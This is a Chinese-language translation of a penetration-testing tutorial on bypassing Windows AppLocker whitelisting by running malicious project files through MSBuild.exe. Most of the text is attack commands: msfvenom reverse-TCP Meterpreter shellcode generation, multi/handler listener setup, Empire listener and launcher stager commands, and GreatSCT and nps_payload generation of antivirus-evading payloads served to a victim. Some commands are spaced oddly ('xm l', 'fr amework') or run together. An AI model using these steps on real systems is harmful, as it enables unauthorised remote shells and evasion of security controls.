原文地址:https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/
在本文中,我们将为大家介绍如何绕过最常见、也是大家最熟悉的应用程序白名单安全机制,即AppLocker。众所周知,出于安全原因,系统管理员会添加相应的组策略来限制本地用户的应用程序的运行。在上一篇文章,即“Windows AppLocker策略入门指南”中,我们为读者介绍了如何通过AppLocker规则来定义应用程序控制策略,以及如何实施这些策略。接下来,我们将介绍如何借助MSbuild.exe绕过AppLocker策略。
Microsoft Build Engine是一个用于构建应用程序的平台。该引擎(也称为MSBuild)为控制构建平台如何处理和生成软件的项目文件提供了一个xm l schema。虽然Visual Studio要用到MSBuild,但MSBuild却并不依赖于Visual Studio。通过对项目或解决方案文件调用msbuild.exe,可以在未安装Visual Studio的环境中组织和构建产品。
Visual Studio 使用 MSBuild 来加载和生成托管项目。Visual Studio 中的项目文件(.csproj、.vbproj、vcxproj 等)含有相应的MSBuild xm l 代码。
我们使用Microsoft VisualStudio创建以MSBuild格式保存的、带有*.csproj后缀的C#(C Sharp)编程项目,以便可以使用MSBuild平台将其编译为可执行程序。
借助于一个恶意的构建的过程,我们可以获得受害者计算机的反向shell。接下来,我们要生成file.csproj文件,为此,首先需要通过msfvenom生成一个基于C#的shellcode。之后,将该shellcode放入我们的file.csproj中,具体如下所示。
msfvenom -p windows/meterpreter/reverse_tcplhost=192.168.1.109 lport=1234 -f csharp
上面的shellcode应该放入xm l文件中,并且,我们可以从github下载这个xm l文件,其中存放MSBuild要编译和执行的代码。该xm l文件应另存为file.csproj ,所这样,必须通过MSBuild运行file.csproj才能生成Meterpreter会话。
注意:要替换C#shellcode中shellcode的值,然后,将buf重命名为shellcode,如下图所示。
我们可以从Visual Studio或从命令行窗口中运行MSBuild。通过Visual Studio,不仅可以编译应用程序,同时,还能指定编译后的代码适用于哪个版本的.NET fr amework。例如,同一个应用程序源代码,既可以编译为适用于32位平台上的.NET fr amework2.0环境中的程序,也可以让编译好的代码运行于64位平台上的.NET fr amework4.5环境。像这种将源代码编译为适用于多种框架的能力,被称为multitargeting技术。
要了解有关MSBuild的更多信息,请阅读以下内容: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015
现在启动multi/handler以获取Meterpreter会话,并在目标路径C:\Windows\Microsoft.NET\fr amework\v4.0.30319中使用msbuild.exe运行file.csproj文件,具体如下所示。
C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exefile.csproj
注意:您需要恶意payload(即xm l/csproj)保存到下面的位置:
C:\Windows\Microsoft.NET\fr amework\v4.0.30319\and then execute this file with command prompt.
use exploit/multi/handler msf exploit(multi/handler) > set payloadwindows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost192.168.1.109 msf exploit(multi/handler) > set lport1234 msf exploit(multi/handler) > exploit
如您所见,这样就得到了meterpreter会话,如下所示:
如上所述,MSBuild使用了一种基于xm l的项目文件格式,这种格式不仅简单易懂,并且易于扩展,因此,我们可以将上面生成的file.csproj重命名为file.xm l,然后,再次使用msbuild.exe在目标路径C:\Windows\Microsoft.Net\fr amework\v4.0.30319上运行file.xm l文件,具体如图所示。
C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exefile.xm l
use exploit/multi/handler msf exploit(multi/handler) > set payloadwindows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost192.168.1.109 msf exploit(multi/handler) > set lport1234 msf exploit(multi/handler) > exploit
如您所见,我们这样就得到了受害者的meterpreter会话,如下所示:
该脚本用于生成绕过入侵检测的payload。当然,这里用到了多种已经公开的技术。该脚本是由Larry Spohn(@_Spoonman1091)撰写的,但是Payload则是由Ben Mauch(@_Ben0xA)编写的。该脚本可以从github下载。
Nps_payload能够生成可以通过msbuild.exe和mshta.exe执行的payload,以通过meterpreter会话获取受害者计算机的反向连接。
我们可以按照以下步骤来生成payload:
这样一来,将在xm l文件中生成payload,然后从目标位置C:\Windows\Microsoft.Net\fr amework\v4.0.30319发送该文件,具体如前所述,同时,在新终端中运行以下命令以启动侦听器。
msfconsole -r msbuld_nps.rc
现在,请重复上面的步骤,在命令提示符下执行msbuild_nps.xm l,并通过Meterpreter获得反向连接,具体如下所示:
C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exemsbuild_nps.xm l
PowerShell Empire
接下来,我们将为读者介绍另一种针对Msbuild的攻击方法,为此,我们需要用到empire。实际上,Empire是一个后续利用框架。到目前为止,我们已经将xm l图钉与me tasploit进行了配对,但是在接下来介绍的这种方法中,我们将使用Empire框架。由于该框架是基于Python的PowerShell Windows代理的,因此非常有用。Empire由@harmj0y、@sixdub、@enigma0x3、rvrsh3ll、@killswitch_gui和@xorrior开发,下载地址为https://github.com/empireproject/empire。
关于Empire的使用指南,请访问下面的文章:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
启动Empipre框架后,请键入listener命令,以检查是否存在处于活动状态的侦听器。正如您在下面的图像中看到的,这里并没有处于活动状态的侦听器。因此,我们需要设置一个侦听器,具体命令如下所示:
uselistner httpset Host http://192.168.1.107set port 80execute
使用上面的命令,可以激活一个侦听器。如果键入back命令的话,则会退出该侦听器,这样就可以启动PowerShell了。
对于Msbuild攻击,我们将用到stager。在empire中,stager是这样一段代码:通过它,我们能够让受害者机器上的代理来运行指定的恶意代码。为此,可以键入下列命令:
usestager windows/launcher_xm lset listener httpexecute
UseStager将创建一个恶意代码文件,该文件将保存在/tmp目录下面名为launcher.xm l的文件中。
一旦该文件被运行,我们就能在侦听器上看到相应的运行结果。为了在受害者机器上面运行该文件,需要执行下列命令:
cd C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exe launcher.xm l
要查看是否有会话已打开,请键入“agents”。这样,将显示我们拥有的会话的名称列表。若要访问某会话,可以使用如下所示的命令:
interact A8H14C7L
上面的命令将授予您对指定会话的访问权限。
sysinfoinfo
GreatSCT是这样一个工具:借助于它,我们不仅可以使用me tasploit的漏洞利用代码,并且还能对其进行免杀处理,以绕过大多数防病毒程序。目前,GreatSCT是由@_ConsciousHacker.进行维护的,其下载地址为: https://github.com/GreatSCT/GreatSCT
下载并运行该软件后,可以通过以下命令来访问各个功能模块:
use Bypass
现在,我们来查看payload的类型列表,具体命令如下所示:
list
这样,我们就可以根据攻击目标,来选择相应的payload了。就本文来说,我们需要键入以下命令:
use msbuild/meterpreter/rev_tcp.py
上面的命令执行后,继续键入以下命令:
set lhost 192.168.1.107generate
当生成payload时,会要求为其指定一个名称。默认情况下,它将使用“payload”进行命名。不过,这里将msbuild指定为该payload的名称,输出代码将保存在xm l中。
现在,它生成了两个文件。一个是me tasploit的RC文件,另一个是msbuild.xm l文件。
接下来,我们需要在/usr/share/greatsct-output/source目录中输入以下命令,以便启动Python服务器:
python -m SimpleHTTPServer 80
键入以下命令,以便让受害者的机器运行该文件:
cd C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exe msbuild.xm l
同时,使用资源文件启动multi/handler。为此,请键入下列命令:
msfconsole -r/usr/share/greatsct-output/handlers/payload.rc
瞧,搞定!就像您看到的那样,我们获得了一个Meterpreter会话。
参考资料: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.